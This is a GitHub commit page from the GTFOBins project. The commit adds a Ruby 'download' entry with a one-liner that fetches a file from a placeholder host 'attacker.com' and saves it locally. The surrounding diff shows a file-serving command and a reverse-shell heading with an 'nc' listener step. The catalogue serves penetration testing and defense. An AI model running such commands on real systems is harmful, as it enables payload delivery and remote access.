Skip to content

Commit

Permalink
Add ruby download
Browse files Browse the repository at this point in the history
  • Loading branch information
epinna committed Jun 17, 2018
1 parent 401c469 commit 80b20b6
Showing 1 changed file with 8 additions and 0 deletions.
8 changes: 8 additions & 0 deletions _gtfobins/ruby.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,14 @@ functions:
code: |
export LPORT=8888
ruby -run -e httpd . -p $LPORT
download:
- description: Fetch a remote file via HTTP GET request.
code: |
export RHOST=attacker.com
export RPORT=12345
export RFILE=/file_to_get
export LFILE=file_to_save
ruby -e 'require "net/http"; Net::HTTP.start(ENV["RHOST"], ENV["RPORT"]) { |http| r = http.get(ENV["RFILE"]); open(ENV["LFILE"], "wb") { |file| file.write(r.body) } }'
reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
Expand Down

0 comments on commit 80b20b6

Please sign in to comment.